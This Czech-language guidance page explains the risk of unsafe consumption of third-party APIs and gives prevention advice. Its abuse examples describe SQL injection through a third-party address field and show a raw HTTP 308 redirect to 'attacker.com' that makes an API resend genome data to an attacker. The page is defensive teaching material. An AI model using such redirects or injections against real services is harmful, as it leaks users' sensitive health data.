Přeskočit na hlavní obsah

Nebezpečné použití API

  • Vývojáři mají tendenci věřit datům, které obdrží od služeb třetích stran.
  • Kvůli tomu vývojáři taková data nevalidují a nesanitizují.
  • API je zranitelné, pokud
    • interaguje s jiným API přes nešifrovaný komunikační kanál,
    • nevaliduje a nesanitizuje data obdržená od třetí strany,
    • slepě následuje přesměrování,
    • nelimituje počet zdrojů pro odpovědi třetích stran,
    • neimplementuje timeouty při integraci se službou třetí strany.

Jak zranitelnosti předcházet

🔴 Posuďte stav zabezpečení API poskytovatele služby před tím, než jej implementujete.

🔴 Zajistěte, aby se komunikace s třetí stranou odehrávala přes šifrovaný kanál (TLS).

🔴 Validujte a sanitizujte veškerá příchozí data - uživatelské vstupy i data třetích stran.

🔴 Vytvořte allow (white) list podporovaných integrací a API, kterým umožníte přesměrování.

  • Nedělejte slepá přesměrování.

Příklady zneužití zranitelnosti

  1. API aplikace závisí na službě třetí strany, která poskytuje fakturační adresu uživatele.

    • Uživatelem vyplněná data jsou odeslána na API a následně na službu třetí strany, která vrátí informace o adrese, a všechno se uloží do SQL databáze.
    • Útočník do služby třetí strany zadá adresu složenou z SQL dotazu.
    • Zaregistruje se do aplikace, která stáhne zranitelná data a vykoná SQL příkaz.
  2. API integruje službu třetí strany, která ukládá zdravotní záznamy uživatelů.

    • Data jsou odesílána přes šifrovaný kanál následujícím způsobem:
    POST /user/store_phr_record
    {
    "genome": "ACTAGTAG__TTGADDAAIICCTT..."
    }
    • Útočník najde způsob, jak kompromitovat třetí službu, a API začne odpovídat následujícím způsobem:
    HTTP/1.1 308 Permanent Redirect
    Location: https://attacker.com/
    • API slepě následuje přesměrování a bude dotaz opakovat na útočníkovu URL.
    • Tím dojde k úniku citlivých informací.

Kam dál

Cheat sheety

Checklisty